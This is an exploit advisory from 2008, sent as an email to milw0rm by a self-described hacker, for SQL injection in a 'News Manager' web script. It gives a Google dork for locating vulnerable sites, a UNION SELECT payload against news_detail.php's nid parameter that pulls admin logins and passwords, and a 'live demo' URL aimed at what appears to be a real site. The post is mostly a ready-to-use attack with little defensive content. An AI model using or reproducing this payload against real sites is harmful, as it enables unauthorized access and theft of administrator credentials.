News Manager Remote SQL Injection Vulnerability
From: Ghost hacker <ghost-r00t@hotmail.com.>
To: =?windows-1256?Q?=D3=CA=D1=E6=DF?= <submit@milw0rm.com.>,
Subject: News Manager Remote SQL Injection Vulnerability
Date: Thu, 9 Oct 2008 12:21:25 +0300
Importance: Normal
Content-Type: text/plain; charset="windows-1256"
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
X-OriginalArrivalTime: 09 Oct 2008 09:21:25.0398 (UTC) FILETIME=[67041360:01C929F0]
X-Virus-Scanned: antivirus-gw at tyumen.ru
####################################################################################################
# News Manager Remote SQL Injection Vulnerability #
# ╘ Ghost Hacker , Real Hack Back :) #
####################################################################################################
#[~] Author : Ghost Hacker #
#[~] Home page : www.Real-h.com [Real Hack Back] #
#[~] Contact Me : [email protected] #
#[~] Bug : SQL Injection #
#[~] From : Kingdom Saudi Arabia #
#[~] Name Script : News Manager #
#[~] Download : http://www.preprojects.com/news.asp #
####################################################################################################
#[~] Dork : #
# ╘2006 PRE NEWS MANAGER | All Rights Reserved Or inurl:news_detail.php?nid= #
#[~] Exploit : #
# http://xxxx/news_detail.php?nid=-139+UNION+SELECT+1,2,concat(login,0x3a,password),3,5,6,7+from+admin--
#[~] live demo : #
# http://www.preproject.com/news manager/news_detail.php?nid=-139+UNION+SELECT+1,2,concat(login,0x3a,password),3,5,6,7+from+admin--
####################################################################################################
#[~]Greets : #
# Mr.SQL , Mr.SaFa7 , Mr-3sheq , aBo3tB , Night Mare , Root Hacker , Dmar al3noOoz , L&J TeaM #
# Mr.MN7oS , Mr.Hope , EgYpTiaN x HaCkEr , PrO SpY , v4-team.com #
# All Members Real Hack , All My Friends :) #
####################################################################################################
# Viva Real Hack - Real-h.com .. #
####################################################################################################
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/